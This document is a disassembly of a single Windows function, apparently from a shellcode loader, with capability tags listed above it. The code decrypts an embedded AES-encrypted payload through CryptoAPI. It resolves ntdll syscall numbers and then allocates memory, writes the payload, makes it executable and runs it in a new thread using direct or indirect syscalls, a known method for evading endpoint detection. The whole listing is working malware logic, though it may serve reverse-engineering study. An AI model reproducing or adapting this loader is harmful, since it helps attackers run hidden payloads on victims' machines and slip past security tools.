Function at 0x140001070
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0xe0], rax
xor esi, esi
mov dword [rbp - 0x40], 0x77c0ae24
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rsi
mov qword [rbp - 0x60], rsi
mov dword [rsp + 0x78], esi
mov dword [rbp - 0x3c], 0x74627ace
mov dword [rbp - 0x38], 0x480d607f
mov dword [rbp - 0x34], 0x41d8d3a8
mov dword [rbp - 0x30], 0x4783a443
mov dword [rbp - 0x2c], 0x53fe4a62
mov dword [rbp - 0x28], 0xefc97913
mov dword [rbp - 0x24], 0xc40702a9
mov dword [rbp - 0x20], 0x777ebf01
mov dword [rbp - 0x1c], 0xace4d7b8
mov dword [rbp - 0x18], 0xa83600ad
mov dword [rbp - 0x14], 0x50c5c7bb
mov dword [rbp - 0x10], 0xbb078a09
mov dword [rbp - 0xc], 0xef97abe3
mov dword [rbp - 8], 0xe5ad6635
mov dword [rbp - 4], 0xe55cf056
mov dword [rbp], 0x1bc7c22d
mov dword [rbp + 4], 0x2e978d7e
mov dword [rbp + 8], 0x26b8b3b
mov dword [rbp + 0xc], 0x82717a95
mov dword [rbp + 0x10], 0x8af4cc18
mov dword [rbp + 0x14], 0x580c347d
mov dword [rbp + 0x18], 0x3ef34741
mov dword [rbp + 0x1c], 0xb2b493fc
mov dword [rbp + 0x20], 0x457d85a5
mov dword [rbp + 0x24], 0x171ba10e
mov dword [rbp + 0x28], 0xf9b9f920
mov dword [rbp + 0x2c], 0x3cef1020
mov dword [rbp + 0x30], 0xf9cac718
mov dword [rbp + 0x34], 0x29bcdcd9
mov dword [rbp + 0x38], 0x6ea7a88f
mov dword [rbp + 0x3c], 0xde7c9a45
mov dword [rbp + 0x40], 0xd54fa8de
mov dword [rbp + 0x44], 0xa1c15137
mov dword [rbp + 0x48], 0xe8d32183
mov dword [rbp + 0x4c], 0xe73d1ac7
mov dword [rbp + 0x50], 0xdfb552a0
mov dword [rbp + 0x54], 0x60805b43
mov dword [rbp + 0x58], 0xc76dd286
mov dword [rbp + 0x5c], 0x90856a26
mov dword [rbp + 0x60], 0x83d4e1bc
mov dword [rbp + 0x64], 0xdea1ba3e
mov dword [rbp + 0x68], 0xf84d1f41
mov dword [rbp + 0x6c], 0x33a2ce3
mov dword [rbp + 0x70], 0x894b662f
mov dword [rbp + 0x74], 0xed64d6aa
mov dword [rbp + 0x78], 0x4ebb39c7
mov dword [rbp + 0x7c], 0x83912275
mov dword [rbp + 0x80], 0xa7e9120f
mov dword [rbp + 0x84], 0xd9a03236
mov dword [rbp + 0x88], 0x9af398e0
mov dword [rbp + 0x8c], 0xb5147161
mov dword [rbp + 0x90], 0x43e19182
mov dword [rbp + 0x94], 0xb0e8223d
mov dword [rbp + 0x98], 0x9a864fea
mov dword [rbp + 0x9c], 0x730127a0
mov dword [rbp + 0xa0], 0x5b8c22d7
mov dword [rbp + 0xa4], 0xbb7e7932
mov dword [rbp + 0xa8], 0xb99b8e5b
mov dword [rbp + 0xac], 0x689785f6
mov dword [rbp + 0xb0], 0xe0ec3903
mov dword [rbp + 0xb4], 0x6c9e2908
mov dword [rbp + 0xb8], 0xbbef2a17
mov dword [rbp + 0xbc], 0xecc666ec
mov dword [rbp + 0xc0], 0xa572b5cb
mov dword [rbp + 0xc4], 0xff658c95
mov dword [rbp + 0xc8], 0x51c42260
mov dword [rbp + 0xcc], 0x3508d117
mov dword [rbp + 0xd0], 0xae06cf08
mov dword [rbp + 0xd4], 0xc76baf73
mov dword [rbp + 0xd8], 0x24db2467
mov dword [rbp + 0xdc], 0x3f8884d3
mov dword [rbp - 0x58], 0xe940081b
mov dword [rbp - 0x54], 0x8bcd0c56
mov dword [rbp - 0x50], 0x863c2bd9
mov dword [rbp - 0x4c], 0x68dd8a5d
lea r9d, [rsi + 0x18]
mov dword [rsp + 0x70], 0x120
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1400013e6
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x78]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400013e6
mov rcx, qword [rbp - 0x78]
lea r8d, [rsi + 0x10]
xor r9d, r9d
lea rdx, [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400013e6
mov r8, qword [rbp - 0x78]
lea rax, [rbp - 0x70]
mov rcx, qword [rbp - 0x80]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400013e6
mov rcx, qword [rbp - 0x70]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp - 0x40]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400013e6
mov rcx, qword [rbp - 0x80]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea rcx, str.ntdll.dll
mov qword [rbp - 0x68], 0x120
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtAllocateVirtualMemory
mov rdi, rax
test rax, rax
jne 0x14000142d
lea rcx, str._n____Couldnt_get_the_address_of:__s_n
call fcn.140001010
mov edi, esi
jmp 0x14000144e
mov r8, rdi
lea rcx, str.___The_address_of__s_function:_0x_p_n
call fcn.140001010
movzx edi, byte [rdi + 4]
lea rcx, str.___Got_the_syscall_number:__i_n
mov edx, edi
call fcn.140001010
lea rdx, str.NtWriteVirtualMemory
mov dword [0x140005654], edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteVirtualMemory
mov rdi, rax
test rax, rax
jne 0x140001483
lea rcx, str._n____Couldnt_get_the_address_of:__s_n
call fcn.140001010
mov edi, esi
jmp 0x1400014a4
mov r8, rdi
lea rcx, str.___The_address_of__s_function:_0x_p_n
call fcn.140001010
movzx edi, byte [rdi + 4]
lea rcx, str.___Got_the_syscall_number:__i_n
mov edx, edi
call fcn.140001010
lea rdx, str.NtProtectVirtualMemory
mov dword [0x140005650], edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtProtectVirtualMemory
mov rdi, rax
test rax, rax
jne 0x1400014d9
lea rcx, str._n____Couldnt_get_the_address_of:__s_n
call fcn.140001010
mov edi, esi
jmp 0x1400014fa
mov r8, rdi
lea rcx, str.___The_address_of__s_function:_0x_p_n
call fcn.140001010
movzx edi, byte [rdi + 4]
lea rcx, str.___Got_the_syscall_number:__i_n
mov edx, edi
call fcn.140001010
lea rdx, str.NtCreateThreadEx
mov dword [0x140005638], edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateThreadEx
mov rdi, rax
test rax, rax
jne 0x14000152f
lea rcx, str._n____Couldnt_get_the_address_of:__s_n
call fcn.140001010
mov edi, esi
jmp 0x140001550
mov r8, rdi
lea rcx, str.___The_address_of__s_function:_0x_p_n
call fcn.140001010
movzx edi, byte [rdi + 4]
lea rcx, str.___Got_the_syscall_number:__i_n
mov edx, edi
call fcn.140001010
lea rdx, str.NtWaitForSingleObject
mov dword [0x140005640], edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWaitForSingleObject
mov rdi, rax
test rax, rax
jne 0x140001585
lea rcx, str._n____Couldnt_get_the_address_of:__s_n
call fcn.140001010
mov edi, esi
jmp 0x1400015a6
mov r8, rdi
lea rcx, str.___The_address_of__s_function:_0x_p_n
call fcn.140001010
movzx edi, byte [rdi + 4]
lea rcx, str.___Got_the_syscall_number:__i_n
mov edx, edi
call fcn.140001010
lea rdx, str.NtCreateThreadEx
mov dword [0x14000563c], edi
mov rcx, rbx
mov word [rsp + 0x70], 0x50f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400015d1
lea rcx, str.____Couldnt_get_address_of_the_syscall_n
jmp 0x1400015f6
lea rdx, [rax + 0x12]
movzx eax, word [rsp + 0x70]
mov qword [0x140005648], rdx
lea rcx, str.___Found_syscall_instruction__n
cmp ax, word [rdx]
lea r8, str.____Opcodes_didnt_match_that_of_syscall_instruction
cmovne rcx, r8
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 4
lea r9, [rbp - 0x68]
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rbx, rax
call fcn.140001770
test eax, eax
je 0x140001638
lea rcx, str.FnAllocvm_failed:__i_n
jmp 0x140001736
mov rdx, qword [rsp + 0x60]
lea rcx, str.___FnAllocvm_succeeded__base_address:__p_n
call fcn.140001010
mov rdx, qword [rsp + 0x60]
lea rax, [rbp - 0x60]
mov r9d, 0x120
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x40]
mov rcx, rbx
call fcn.140001780
test eax, eax
je 0x140001679
lea rcx, str.FnWrvm_failed:__i_n
jmp 0x140001736
lea rcx, str.___FnWrvm_succeeded._Copied_gcode_to_the_allocated_memory_n
call fcn.140001010
lea rax, [rsp + 0x78]
mov r9d, 0x20
lea r8, [rbp - 0x68]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.140001790
test eax, eax
je 0x1400016b6
lea rcx, str.____FnProtvm_failed:__i_n
jmp 0x140001736
lea rcx, str.___FnProtvm_succeeded._Changed_the_protection_of_the_page_n
call fcn.140001010
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x50], rsi
mov r9, rbx
mov qword [rsp + 0x48], rsi
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov edx, 0x1fffff
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
call fcn.1400017a0
test eax, eax
je 0x14000170b
lea rcx, str.FnCrth_failed:__i_n
jmp 0x140001736
mov rdx, qword [rsp + 0x68]
lea rcx, str.___FnCrth_succeeded__thread_handle:__p_n
call fcn.140001010
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
call fcn.1400017b0
test eax, eax
je 0x14000173d
lea rcx, str.FnSo_failed:__i_n
mov edx, eax
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.1400017d0
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret